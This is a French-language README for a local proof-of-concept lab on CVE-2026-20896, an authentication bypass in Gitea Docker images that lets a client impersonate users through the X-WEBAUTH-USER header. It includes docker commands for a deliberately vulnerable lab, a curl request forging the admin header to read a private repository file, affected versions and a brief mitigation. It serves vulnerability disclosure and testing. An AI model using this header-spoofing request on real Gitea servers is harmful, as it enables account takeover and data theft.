
Gitea Docker Image Authentication Bypass
[!WARNING] Utilisez cette preuve de concept uniquement dans un laboratoire local ou contre un système que vous êtes explicitement autorisé à tester.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 est un contournement d'authentification dans les images Docker officielles Gitea concernées. Lorsque l'authentification par proxy inverse est activée, le paramètre REVERSE_PROXY_TRUSTED_PROXIES = * généré par l'image permet à un client pouvant atteindre le backend Gitea d'usurper l'identité d'un utilisateur existant via l'en-tête X-WEBAUTH-USER.
Le laboratoire crée un administrateur nommé gitea-admin avec un mot de passe aléatoire et stocke CVE-2026-20896_AUTH_BYPASS_CONFIRMED dans le dépôt privé gitea-admin/private-proof. La lecture de ce fichier sans connaître le mot de passe aléatoire de l'administrateur démontre le contournement.
| Catégorie | Version |
|---|---|
| Vulnérable | Images Docker officielles gitea/gitea ≤ 1.26.2 |
| Première version corrigée | 1.26.3 |
| Recommandée | 1.26.4 ou ultérieure |
La configuration vulnérable nécessite que l'authentification par proxy inverse soit activée et que le backend Gitea soit directement accessible, ou qu'un proxy en amont conserve l'en-tête d'identité fourni par l'attaquant. Un conteneur de proxy inverse n'est pas requis pour cette reproduction locale.
# construction
docker build -t cve-2026-20896-gitea-vuln .
# exécution
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendez quelques secondes que Gitea et le dépôt de preuve privé s'initialisent.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Une exploitation réussie renvoie CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Le script compare les requêtes non authentifiées, non administrateur et administrateur falsifiées et affiche VULNERABLE lorsque le contournement d'autorisation est confirmé. Il nécessite Python 3.10 ou ultérieur et n'utilise que la bibliothèque standard.
REVERSE_PROXY_TRUSTED_PROXIES aux adresses de proxy de confiance.docker stop cve-2026-20896-gitea-vuln